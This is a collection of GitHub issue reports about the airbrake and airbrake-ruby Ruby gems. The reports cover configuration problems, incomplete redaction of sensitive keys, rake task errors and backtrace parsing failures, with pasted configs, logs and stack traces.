                             _acquire at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:137
                     block in acquire at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:151
                        block in sync at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282
                          synchronize at org/jruby/ext/thread/Mutex.java:148
                                 sync at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282
                              acquire at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:150
                                 hold at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:106
                          synchronize at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/database/connecting.rb:285
                       server_version at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:508
                       server_version at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:1793
                           select_sql at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/sql.rb:233
                                 each at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:149
                                  map at org/jruby/RubyEnumerable.java:830
                                  map at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:455
                      get_checkpoints at /Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:147
                              send_to at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43
                            call_with at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79
             block in get_checkpoints at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138
           get_sites_with_checkpoints at /Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:162
                              send_to at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43
                            call_with at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79
  block in get_sites_with_checkpoints at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138
                               start! at bin/sources/bay_event_forwarder.rb:24
                               <main> at bin/sources/bay_event_forwarder.rb:54

blacklist_keys does not remove sensitive information from put bodies

  • airbrake version: 6.0.0
  • airbrake-ruby version: 2.0.0
  • Ruby version: 2.3.3
  • Framework: Rails => 4.2.7.1

Description

When configuring the blacklist_keys setting to include things like password, these keys are successfully redacted in parameters that are passed along, however, this information remains in the original PUT body that may be passed along.

I am using a regular expression to remove passwords like this /password/. The password attributes on parameterized objects are still getting included in the PUT bodies like so: user%5Bpassword%5D=Random12345&user%5Bpassword_confirmation%5D=Random12345

This issue is similar to the issue reported here.

'rake airbrake:deploy' gives 'LoadError: cannot load such file -- airbrake/tasks'

[web@server10196 current]$ ruby -v
ruby 2.0.0p647 (2015-08-18 revision 51631) [x86_64-linux]
[web@server10196 current]$ gem --version
2.1.11
[web@server10196 current]$ grep airbrake Gemfile.lock
    airbrake (5.4.1)
      airbrake-ruby (~> 1.4)
    airbrake-ruby (1.4.3)
  airbrake
[web@server10196 current]$ gem list | grep airbrake
airbrake (5.4.1, 4.3.1)
airbrake-ruby (1.4.3)
[web@server10196 current]$ RAILS_ENV=production TO=production rake airbrake:deploy
Failed to run airbrake:deploy because of missing dependency.
You probably need to run `rake gems:install` to install the airbrake gem
#<LoadError: cannot load such file -- airbrake/tasks>
[web@server10196 current]$ rake gems:install
rake aborted!
Don't know how to build task 'gems:install'
/home/web/.rvm/gems/ruby-2.0.0-p647@myapp/bin/ruby_executable_hooks:15:in `eval'
/home/web/.rvm/gems/ruby-2.0.0-p647@myapp/bin/ruby_executable_hooks:15:in `<main>'
(See full trace by running task with --trace)

How to replace ignore_user_agent functionality?

Migrating from 4.3.4 where we used the ignore_user_agent configuration option. I'm trying to figure out how to replicate that functionality using the new add_filter feature. Any guidance?

send_notice raises URI::InvalidURIError with invalid URIs

If a user visits a badly formed URI (say, http://example.com/foo]bar), and the app raises an exception (perhaps because of the badly formed URI), the airbrake gem will raise a second exception while trying to parse notice[:context][:url], which prevents the original error from reaching Airbrake. Here's a partial stack from such an error:

/Users/jon/.rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/uri/common.rb, line 747
/Users/jon/.rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/uri/common.rb, line 1232
airbrake-ruby (1.1.0) lib/airbrake-ruby/filters/keys_filter.rb, line 32
airbrake-ruby (1.1.0) lib/airbrake-ruby/filter_chain.rb, line 64
airbrake-ruby (1.1.0) lib/airbrake-ruby/filter_chain.rb, line 62
airbrake-ruby (1.1.0) lib/airbrake-ruby/notifier.rb, line 123
airbrake-ruby (1.1.0) lib/airbrake-ruby/notifier.rb, line 45
airbrake-ruby (1.1.0) lib/airbrake-ruby.rb, line 282
airbrake-ruby (1.1.0) lib/airbrake-ruby.rb, line 136
airbrake (5.1.0) lib/airbrake/rack/middleware.rb, line 39

Perhaps KeysFilter#call should catch URI::InvalidURIError and quietly return? Or replace notice[:context][:url] with "<invalid URI>" ?

Support deep keys

rails filter_parameters allows foo.bar meaning foo[bar]
which is not compatible with airbrakes blacklist filter
so please either:

  • support it (might be tricky, but a useful filter)
  • change airbrake rails docs to point this out

Why Airbrake v5 doesn't allow reconfiguration

I was wondering why Airbrake version 5 doesn't allow reconfiguration.

There are some certain cases I think reconfiguration is needed. For example I want to change the logger for Sidekiq or for other processes forked Rails.

Requires application to have ActiveRecord enabled

If you have active record disabled:

# Toward the top of application.rb
require 'rails'
# Pick the frameworks you want:
# require 'active_model/railtie'
# require 'active_job/railtie'
# require 'active_record/railtie'
require 'action_controller/railtie'
# require 'action_mailer/railtie'
require 'action_view/railtie'
require 'sprockets/railtie'
require 'rails/test_unit/railtie'

You get the following error when you start the server:

uninitialized constant Airbrake::Rails::Railtie::ActiveRecord (NameError)

This points at line 26 of railtie.rb, which looks like:

app.config.middleware.insert_after(
  ActiveRecord::ConnectionAdapters::ConnectionManagement,
  'Airbrake::Rack::Middleware'
)

I'm using Airbrake-Ruby 1.4.4.

Thanks!

Airbrake.notify doesn't accept a string as a param

Documentation states that I can just pass a string as a param to Airbrake.notify but when I do I get an empty Notification in Airbrake (it has no message, etc).

Should be updated to correctly state that a hash should be passed with i.e. error_message: 'App crashed!'

Airbrake: unexpected code (405). Body: Method Not Allowed

This error above was caused by something that took me a while to figure out. I am running airbrake (5.0.5) on my application and found that this error comes up when you are setting the project_id and the project_key to blank values.

File: config/initializers/airbrake.rb

Airbrake.configure do |c|
  c.project_id = ''
  c.project_key = ''
rake airbrake:deploy USERNAME=my_user ENVIRONMENT=staging REVISION=revision REPOSITORY=github_repo VERSION=1

results from command

Request URI: /api/v4/projects/deploys?key=
Req: #<Net::HTTP::Post POST>
Endpoint: #<URI::HTTPS https://airbrake.io/api/v4/projects/deploys?key=>
Notice: {:environment=>"alpha", :username=>"my_user", :revision=>"revision", :repository=>"github_repo", :version=>"1"}
Response: #<Net::HTTPMethodNotAllowed 405 Method Not Allowed readbody=true>
E, [2016-05-11T11:55:50.492599 #97422] ERROR -- : **Airbrake: unexpected code (405). Body: Method Not Allowed

My Understanding of Results

Most of what I was seeing now makes sense. based off what I see above I get why it resulted in the 405. Because the project_id is not present it changes the URL. So a 405 is exactly what you expect. when you don't have a project_id

Request URI: /api/v4/projects/{project_id}/deploys?key={project_key}
Req: #<Net::HTTP::Post POST>
Endpoint: #<URI::HTTPS https://airbrake.io/api/v4/projects/{project_id}/deploys?key=39f22e0d8d5f97df880bd62567b0f2b6>
Notice: {:environment=>"alpha", :username=>"my_user", :revision=>"d2eae2dd353f67f7c95f97b7fcbe23ff170382c6", :repository=>"github_repo", :version=>"1"}
Response: #<Net::HTTPCreated 201 Created readbody=true>

Possible Solution

I think a good idea would be to add a check to make sure that the project_id and project key are present before you send the post. If not present warn the user but perform the action anyway. As you could be in the test environment or in the development environment. However there is much more to take into account as you can run the rake airbrake:deploy using RAILS_ENV=development and ENVIRONMENT=staging. So might be be also a solution to only warn if the ENVIRONMENT that you are deploying to is not in the ignore_environemnts varable.

c.ignore_environments = %w(test development)

require 'airbrake/sidekiq/error_handler'

airbrake_yml = Rails.root.join('config', 'airbrake.yml')
if File.exist?(airbrake_yml)
  config = YAML.load_file(airbrake_yml)
  puts '------------------------- Deprecation Warning -------------------------'
  puts(
    'Deprecation Warning: airbrake.yml is being removed please use .env '\
    'with AIRBRAKE_PROJECT_ID & AIRBRAKE_PROJECT_KEY'
  )
  puts '------------------------- Deprecation Warning -------------------------'
  project_key = config[:project_key]
  project_id = config[:project_id]
end

project_key = (ENV['AIRBRAKE_PROJECT_KEY'] || project_key).to_s
project_id = (ENV['AIRBRAKE_PROJECT_ID'] || project_id).to_s
# I found that there is a lot of confusing error messages when keys are blank
# To solve this we are placing a warning to the user so that they can
# address the problem. However the warning does not apply when you are testing
# as there is no use case currently that would require the application to talk
# to airbrake when in test mode
unless Rails.env.test?
  puts 'WARN: Airbrake Project key is blank' if project_key.blank?
  puts 'WARN: Airbrake Project id is blank' if project_id.blank?
end

https://github.com/airbrake/airbrake-ruby/blob/master/lib/airbrake-ruby/config.rb#L100
I am think here on the endpoint method might be the best spot to raise the warning as it seams to be the point in which the data is required to work correctly.

default notifier for multiple applications

Hey guys,

I have 2 applications mounted in config.ru:

map '/a' do
  run ApplicationA::Application
end

map  '/b' do
  run ApplicationB::Application
end

ApplicationA is normal rails application, ApplicationB is a Rails engine. Both applications have Airbrake configured. It's necessary in my setup because I have separate servers running only ApplicationA and only ApplicationB too.

Configuring Airbrake standard way results in the 'default' notifier was already configured.
Configuring dedicated notifiers (:application_a and :application_b) results in the 'default' notifier isn't configured.

I understand where is this coming from, I wonder if there is a clean solution for this sort of setups. I'm fine with both applications sharing the same global config.

Thanks,

Rob

add_filter throwing exception

Migrating from 4.3.4 to 5.0.1 and when I try to configure Airbrake using an inline add_filter, I'm getting an exception.

I've got the add_filter just like in the migration_guide for testing purposes:

Airbrake.add_filter do |notice|
  if notice[:errors].any? { |error| error[:type] == 'RuntimeError' }
    notice.ignore!
  end
end

In a rails console I try this:

2.1.6 :003 > e = Exception.new("Hello World")
 => #<Exception: Hello World> 
2.1.6 :004 > Airbrake.notify(e)
NoMethodError: undefined method `call' for nil:NilClass
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/filter_chain.rb:64:in `block in refine'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/filter_chain.rb:62:in `each'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/filter_chain.rb:62:in `refine'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/notifier.rb:123:in `send_notice'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/notifier.rb:45:in `notify'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:280:in `call_notifier'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:134:in `notify'
    from (irb):4
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/console.rb:110:in `start'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/console.rb:9:in `start'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/commands_tasks.rb:68:in `console'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands/commands_tasks.rb:39:in `run_command!'
    from /Users/jschuman/.rvm/gems/ruby-2.1.6@kona/gems/railties-4.2.5/lib/rails/commands.rb:17:in `<top (required)>'
    from bin/rails:4:in `require'
    from bin/rails:4:in `<main>'

If I switch the filter to be a class and new up that class in the add_filter call then it works fine.

Unnecessary airbrake error when running unknown rake task

  • Airbrake version: 5.0.1
  • Ruby version: 2.2.3
  • Framework name & version: Rails 4.2.5

Airbrake config

  Airbrake.configure do |config|
    config.project_id = <project_id>
    config.project_key = <project_key>
    config.host = <host>
    config.ignore_environments = [:test]
  end

Description

I checked that my config is OK by running rake airbrake:test, it runs successfully.

But when I run a rake task that does not exist I am getting the following output:

$ bin/rake kokoko:dskfkl
rake aborted!
Don't know how to build task 'kokoko:dskfkl'

(See full trace by running task with --trace)
/Users/vkhustochka/.rvm/gems/ruby-2.2.3@quails/gems/airbrake-ruby-1.0.1/lib/airbrake-ruby.rb:282:in `call_notifier': the 'default' notifier isn't configured (Airbrake::Error)
    from /Users/vkhustochka/.rvm/gems/ruby-2.2.3@quails/gems/airbrake-ruby-1.0.1/lib/airbrake-ruby.rb:149:in `notify_sync'
    from /Users/vkhustochka/.rvm/gems/ruby-2.2.3@quails/gems/airbrake-ruby-1.0.1/lib/airbrake-ruby.rb:291:in `block in <top (required)>'

I think the issue is that in this case airbrake is loaded (through bundler) but initializers are not loaded, so Airbrake config is not loaded.

Airbrake being run on test and development environments

Hey,

My team is experiencing a problem with the new version of Airbrake. We are receiving error messages from our development and test environments even though we have
config.ignore_environments = %w(development test)
in our config block.

Please advise what we may have done wrong :).

Richard

override exception message ?

this used to work ... but now it only gives saves the error message ... would be nice to either make it work again or have a deprecation

Airbrake.notify($!, error_message: "Foobar")

airbrake-ruby 1.7.0 breaks Webmock

  • Airbrake version: upgraded from 1.6.0 to 1.7.0
  • Ruby version: 2.3.3
  • Framework name & version: Rails 4.2.7.1

Airbrake config

AIRBRAKE_IGNORED_USER_AGENTS = /Spider/

# Airbrake is an online tool that provides robust exception tracking in your Rails
# applications. In doing so, it allows you to easily review errors, tie an error
# to an individual piece of code, and trace the cause back to recent
# changes. Airbrake enables for easy categorization, searching, and prioritization
# of exceptions so that when errors occur, your team can quickly determine the
# root cause.
#
# Configuration details:
# https://github.com/airbrake/airbrake-ruby#configuration
Airbrake.configure do |c|
  # You must set both project_id & project_key. To find your project_id and
  # project_key navigate to your project's General Settings and copy the values
  # from the right sidebar.
  # https://github.com/airbrake/airbrake-ruby#project_id--project_key
  c.project_id = ENV['AIRBRAKE_PROJECT_ID']
  c.project_key = ENV['AIRBRAKE_API_KEY']

  # Configures the root directory of your project. Expects a String or a
  # Pathname, which represents the path to your project. Providing this option
  # helps us to filter out repetitive data from backtrace frames and link to
  # GitHub files from our dashboard.
  # https://github.com/airbrake/airbrake-ruby#root_directory
  c.root_directory = Rails.root

  # By default, Airbrake Ruby outputs to STDOUT. In Rails apps it makes sense to
  # use the Rails' logger.
  # https://github.com/airbrake/airbrake-ruby#logger
  c.logger = Rails.logger

  # Configures the environment the application is running in. Helps the Airbrake
  # dashboard to distinguish between exceptions occurring in different
  # environments. By default, it's not set.
  # NOTE: This option must be set in order to make the 'ignore_environments'
  # option work.
  # https://github.com/airbrake/airbrake-ruby#environment
  c.environment = Rails.env

  # Setting this option allows Airbrake to filter exceptions occurring in
  # unwanted environments such as :test. By default, it is equal to an empty
  # Array, which means Airbrake Ruby sends exceptions occurring in all
  # environments.
  # NOTE: This option *does not* work if you don't set the 'environment' option.
  # https://github.com/airbrake/airbrake-ruby#ignore_environments
  c.ignore_environments = %w(test development)
end

# If Airbrake doesn't send any expected exceptions, we suggest to uncomment the
# line below. It might simplify debugging of background Airbrake workers, which
# can silently die.
# Thread.abort_on_exception = ['test', 'development'].include?(Rails.env)

Airbrake.add_filter do |notice|
  notice.ignore! if notice[:context][:userAgent] && notice[:context][:userAgent].match(AIRBRAKE_IGNORED_USER_AGENTS)
end

Description

I tried to upgrade from Airbrake 5.6.1 to 5.7.0 and it broke Webmock. I pinpointed the problem to airbrake-ruby (airbrake 5.7.0 works with airbrake-ruby 1.6.0 pinned).

-    airbrake (5.6.1)
-      airbrake-ruby (~> 1.6)
-    airbrake-ruby (1.6.0)
+    airbrake (5.7.0)
+      airbrake-ruby (~> 1.7)
+    airbrake-ruby (1.7.0)

Webmock stopped working in our test suite, it calls real endpoints:

Failed to open TCP connection to localhost:1234 (Connection refused - connect(2) for "localhost" port 1234. I went through commits between 1.6.0 and 1.7.0 and couldn't find where the problem could be.

Global context via config ?

I want to send a few pieces of context on every request, something like:

Airbrake.configure do |config|
  config.context = ['HOST_IP', 'POD_NAME', 'POD_NAMESPACE', 'REVISION', 'TAG'].
    map { |k| [k.downcase, ENV[k]] }.to_h
end

Airbrake.notify("kaboom") # correct context

I can trivially get this by writing a wrapper method, but might be a nice feature to simplify setup

blacklist_keys does not remove sensitive information from post bodies

When configuring the blacklist_keys setting to include things like password, these keys are successfully redacted in parameters that are passed along, however, this information remains in the original post body that may be passed along. Given that the point of this is to sanitize sensitive information, this information should be removed from there too.

The original URL needs to be sanitized as well.

Save context of a current thread

Lets assume we have a complex logic, which has multiple steps, and you can't access previous variables that affects on the current state of logic where an exception happened. Right now it's not possible to find out how it came into current state, except to go through the logger for the same time. Would be nice to save context in a Thread.current and use it inside the Notifier.

Airbrake throws away information for incompatible backtraces

Hi,

This pull request (from what i gather) introduces a new method of parsing backtraces:

#4

However it errors out early when it fails to parse, throwing away the rest of the backtrace:

raise Airbrake::Error, "can't parse '#{stackframe}'"

In my case an Oracle stored procedure call might fail, their errors are incompatible with your parser, but instead of printing the whole thing, only the last item is returned:

Airbrake::Error (can't parse 'stmt.c:243:in oci8lib_220.so')

Example of the full "backtrace"/error message:

OCIError: ORA-02291: integrity constraint (STORE.SN_PACE_REGISTRATIONS_FK01) violated - parent key not found
ORA-06512: at "STORE.LI_LICENSES_PACK", line 1945
ORA-06512: at "ACTIVATION.LI_ACT_LICENSES_PACK", line 101
ORA-06512: at line 2
from stmt.c:243:in oci8lib_220.bundle

Downgrading to 4.3.8 resolves the problem for me giving me:

ORA-02291: integrity constraint (STORE.SN_PACE_REGISTRATIONS_FK01) violated - parent key not found ORA-06512: at "STORE.LI_LICENSES_PACK", line 1945 ORA-06512: at "ACTIVATION.LI_ACT_LICENSES_PACK", line 101 ORA-06512: at line 2

Note: This not only breaks airbrake integration, but hides error messages in both development mode webview and log files.

  • Airbrake version: 5.4.0
  • Ruby version: ruby 2.2.4p230 (2015-12-16 revision 53155) [x86_64-darwin15]
  • Framework name & version: rails (4.2.6), ruby-oci8 (2.2.2), ruby-plsql (0.6.0)

Add Airbrake.configured? method

Apologies if this actually exists somewhere and I'm totally blind, but I'm in the process of writing a PR for a new integration for airbrake (airbrake/airbrake#472) and it occurs to me that it would be exceedingly helpful if there were a class method on the Airbrake module called configured? that returned a boolean to indicate if a Notifier had been configured (and thus existed).

This would be useful to test for because if the airbrake gem handles an exception that occurs before the airbrake-ruby configuration loads, a second exception will be triggered, making it

  • more difficult to troubleshoot the first, and;
  • unnecessary/unhelpful/inadvisable for the airbrake gem to have intercepted anything in the first place

While the airbrake gem also makes use of the Airbrake module, it seems like airbrake-ruby would still be the proper location for the class method I am proposing.

I am happy to write the PR if needed, but seeing as that part is trivial (the actual function obviously will comprise just one line of code) I thought any necessary discussion should happen first..

Found parsing error in my logs

E, [2016-12-13T20:33:16.736000 #29171] ERROR -- : can't parse 'uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther13:dispatch_event(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)

Using JRuby 9.1.6.0 and version 1.6.0 of this gem.

Full trace:

364631234 [main] ERROR bay_event_forwarder.rb  - org.apache.kafka.common.errors.NotLeaderForPartitionException: This server is not the leader for that topic-partition.
Backtrace:
        org.apache.kafka.clients.producer.internals.FutureRecordMetadata.valueOrError(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:65)
        org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:60)
        org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:25)
        java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)
        org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther13:get(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.produce!(uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther0:produce!(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.block in setup_everything!(uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther46:call(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:160)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.process_faye_event_containing_park_server_event(uri:classloader:/lib/sdp/park_server/events.rb:160)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther16:process_faye_event_containing_park_server_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:190)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.handle_faye_event(uri:classloader:/lib/sdp/park_server/events.rb:190)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther23:handle_faye_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:293)
        uri_3a_classloader_3a_.lib.sdp.park_server.events.block in consume(uri:classloader:/lib/sdp/park_server/events.rb:293)
        org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.invokeOther33:emit(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/api/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websock
et/api/event_target.rb:44)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.dispatch_event(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api/event_target.rb:44)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther13:dispatch_event(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.
rb:109)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.receive_message(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther6:receive_message(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.
rb:43)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.block in initialize(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:43)
        org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0
.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther38:emit(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-jav
a/lib/websocket/driver/hybi.rb:396)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_message(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:396)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther102:emit_message(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-
0.6.4-java/lib/websocket/driver/hybi.rb:379)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_frame(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:379)
